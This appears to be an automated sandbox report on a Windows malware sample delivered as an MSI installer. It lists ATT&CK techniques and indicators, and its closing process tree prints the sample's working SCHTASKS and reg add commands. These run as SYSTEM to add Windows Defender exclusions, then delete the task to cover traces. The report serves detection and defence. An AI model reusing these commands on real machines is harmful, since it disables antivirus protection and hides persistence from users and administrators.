58b45d111326ebe96120a96df67c90e9e8b318fb863359fb4e20009a3cd12151

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Ckr1RW.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\YuQAnJ = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	6rchRa.exe

Executes dropped EXE 3 IoCs

pid	Process
4232	6rchRa.exe
5056	Ckr1RW.exe
408	Ckr1RW.exe

Loads dropped DLL 4 IoCs

pid	Process
2864	MsiExec.exe
4232	6rchRa.exe
5056	Ckr1RW.exe
408	Ckr1RW.exe

Modifies file permissions 1 TTPs 10 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1764	icacls.exe
780	icacls.exe
4352	icacls.exe
2128	icacls.exe
3484	icacls.exe
3552	icacls.exe
4836	icacls.exe
2156	icacls.exe
1804	icacls.exe
3400	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\YuQAnJ\\6rchRa.exe\""	6rchRa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\Ckr1RW\\Ckr1RW.exe\""	Ckr1RW.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
24	2864	MsiExec.exe
31	2864	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 8 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
436	cmd.exe
4036	cmd.exe
3168	cmd.exe
2928	cmd.exe
4756	cmd.exe
2608	cmd.exe
556	cmd.exe
1124	cmd.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	6rchRa.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe	6rchRa.exe
File opened for modification	C:\Program Files (x86)\Ckr1RW\XPSPLOG.dll	6rchRa.exe
File opened for modification	C:\Program Files (x86)\Ckr1RW\thumbs.db	6rchRa.exe
File opened for modification	C:\Program Files (x86)\Ckr1RW	6rchRa.exe
File created	C:\Program Files (x86)\Ckr1RW\XPSPLOG.dll	6rchRa.exe
File created	C:\Program Files (x86)\Ckr1RW\image.png	6rchRa.exe
File created	C:\Program Files (x86)\Ckr1RW\thumbs.db	6rchRa.exe
File opened for modification	C:\Program Files (x86)\Ckr1RW\Ckr1RW.exe	6rchRa.exe
File opened for modification	C:\Program Files (x86)\Ckr1RW\image.png	6rchRa.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI5A7F.tmp	msiexec.exe
File created	C:\Windows\Installer\e585995.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e585995.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5B2C.tmp	msiexec.exe
File created	C:\Windows\Installer\e585997.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4532	msiexec.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2864	cmd.exe
1936	cmd.exe
4180	cmd.exe
552	cmd.exe
4532	cmd.exe
4440	cmd.exe
2420	cmd.exe
4684	cmd.exe
2200	cmd.exe
3780	cmd.exe
4792	cmd.exe
1800	cmd.exe
1316	cmd.exe
1792	cmd.exe
2816	cmd.exe
3416	cmd.exe
3732	cmd.exe
2236	cmd.exe
3200	cmd.exe
1776	cmd.exe
880	cmd.exe
4460	cmd.exe
4172	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Ckr1RW.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Ckr1RW.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000aea20acdcfb7d9ac0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000aea20acd0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900aea20acd000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aaea20acd000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1daea20acd000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe

Modifies registry class 23 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "0E72D16E69C36534D92BB53CF3FCDC2B"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	6rchRa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_s0up017.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2540	schtasks.exe
744	schtasks.exe
4600	schtasks.exe
408	schtasks.exe
3196	schtasks.exe
3160	schtasks.exe
176	schtasks.exe
1912	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3328	msiexec.exe
3328	msiexec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
2864	MsiExec.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe
4232	6rchRa.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4532	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4532	msiexec.exe
Token: SeSecurityPrivilege	3328	msiexec.exe
Token: SeCreateTokenPrivilege	4532	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4532	msiexec.exe
Token: SeLockMemoryPrivilege	4532	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4532	msiexec.exe
Token: SeMachineAccountPrivilege	4532	msiexec.exe
Token: SeTcbPrivilege	4532	msiexec.exe
Token: SeSecurityPrivilege	4532	msiexec.exe
Token: SeTakeOwnershipPrivilege	4532	msiexec.exe
Token: SeLoadDriverPrivilege	4532	msiexec.exe
Token: SeSystemProfilePrivilege	4532	msiexec.exe
Token: SeSystemtimePrivilege	4532	msiexec.exe
Token: SeProfSingleProcessPrivilege	4532	msiexec.exe
Token: SeIncBasePriorityPrivilege	4532	msiexec.exe
Token: SeCreatePagefilePrivilege	4532	msiexec.exe
Token: SeCreatePermanentPrivilege	4532	msiexec.exe
Token: SeBackupPrivilege	4532	msiexec.exe
Token: SeRestorePrivilege	4532	msiexec.exe
Token: SeShutdownPrivilege	4532	msiexec.exe
Token: SeDebugPrivilege	4532	msiexec.exe
Token: SeAuditPrivilege	4532	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4532	msiexec.exe
Token: SeChangeNotifyPrivilege	4532	msiexec.exe
Token: SeRemoteShutdownPrivilege	4532	msiexec.exe
Token: SeUndockPrivilege	4532	msiexec.exe
Token: SeSyncAgentPrivilege	4532	msiexec.exe
Token: SeEnableDelegationPrivilege	4532	msiexec.exe
Token: SeManageVolumePrivilege	4532	msiexec.exe
Token: SeImpersonatePrivilege	4532	msiexec.exe
Token: SeCreateGlobalPrivilege	4532	msiexec.exe
Token: SeBackupPrivilege	4448	vssvc.exe
Token: SeRestorePrivilege	4448	vssvc.exe
Token: SeAuditPrivilege	4448	vssvc.exe
Token: SeBackupPrivilege	3328	msiexec.exe
Token: SeRestorePrivilege	3328	msiexec.exe
Token: SeRestorePrivilege	3328	msiexec.exe
Token: SeTakeOwnershipPrivilege	3328	msiexec.exe
Token: SeRestorePrivilege	3328	msiexec.exe
Token: SeTakeOwnershipPrivilege	3328	msiexec.exe
Token: SeRestorePrivilege	3328	msiexec.exe
Token: SeTakeOwnershipPrivilege	3328	msiexec.exe
Token: SeBackupPrivilege	116	srtasks.exe
Token: SeRestorePrivilege	116	srtasks.exe
Token: SeSecurityPrivilege	116	srtasks.exe
Token: SeTakeOwnershipPrivilege	116	srtasks.exe
Token: SeBackupPrivilege	116	srtasks.exe
Token: SeRestorePrivilege	116	srtasks.exe
Token: SeSecurityPrivilege	116	srtasks.exe
Token: SeTakeOwnershipPrivilege	116	srtasks.exe
Token: SeRestorePrivilege	3328	msiexec.exe
Token: SeTakeOwnershipPrivilege	3328	msiexec.exe
Token: SeRestorePrivilege	3328	msiexec.exe
Token: SeTakeOwnershipPrivilege	3328	msiexec.exe
Token: SeRestorePrivilege	3328	msiexec.exe
Token: SeTakeOwnershipPrivilege	3328	msiexec.exe
Token: SeRestorePrivilege	3328	msiexec.exe
Token: SeTakeOwnershipPrivilege	3328	msiexec.exe
Token: SeRestorePrivilege	3328	msiexec.exe
Token: SeTakeOwnershipPrivilege	3328	msiexec.exe
Token: SeRestorePrivilege	3328	msiexec.exe
Token: SeTakeOwnershipPrivilege	3328	msiexec.exe
Token: SeRestorePrivilege	3328	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4532	msiexec.exe
4532	msiexec.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 116	3328	msiexec.exe	97
PID 3328 wrote to memory of 2864	3328	msiexec.exe	99
PID 4232 wrote to memory of 2928	4232	6rchRa.exe	104
PID 2928 wrote to memory of 4600	2928	cmd.exe	106
PID 2928 wrote to memory of 860	2928	cmd.exe	107
PID 2928 wrote to memory of 4792	2928	cmd.exe	110
PID 1800 wrote to memory of 2156	1800	cmd.exe	111
PID 4232 wrote to memory of 4756	4232	6rchRa.exe	112
PID 4756 wrote to memory of 408	4756	cmd.exe	114
PID 4756 wrote to memory of 3472	4756	cmd.exe	115
PID 4756 wrote to memory of 1604	4756	cmd.exe	118
PID 3200 wrote to memory of 1056	3200	cmd.exe	120
PID 4232 wrote to memory of 2608	4232	6rchRa.exe	122
PID 2608 wrote to memory of 3196	2608	cmd.exe	124
PID 2608 wrote to memory of 3060	2608	cmd.exe	125
PID 2608 wrote to memory of 4628	2608	cmd.exe	128
PID 4532 wrote to memory of 4516	4532	cmd.exe	129
PID 4232 wrote to memory of 556	4232	6rchRa.exe	130
PID 556 wrote to memory of 3160	556	cmd.exe	132
PID 556 wrote to memory of 4816	556	cmd.exe	133
PID 556 wrote to memory of 516	556	cmd.exe	136
PID 4440 wrote to memory of 1972	4440	cmd.exe	137
PID 4232 wrote to memory of 1124	4232	6rchRa.exe	138
PID 1124 wrote to memory of 176	1124	cmd.exe	140
PID 1124 wrote to memory of 436	1124	cmd.exe	141
PID 1124 wrote to memory of 312	1124	cmd.exe	143
PID 2420 wrote to memory of 1776	2420	cmd.exe	145
PID 4232 wrote to memory of 5056	4232	6rchRa.exe	146

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Ckr1RW.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up017.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4532

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:116
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding C911517F01D464979122E31011C33D34 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2864

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4448

C:\Users\Public\YuQAnJ\6rchRa.exe
C:\Users\Public\YuQAnJ\6rchRa.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\YuQAnJ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\YuQAnJ\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4600
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:408
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3472
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1604
- C:\Windows\System32\cmd.exe
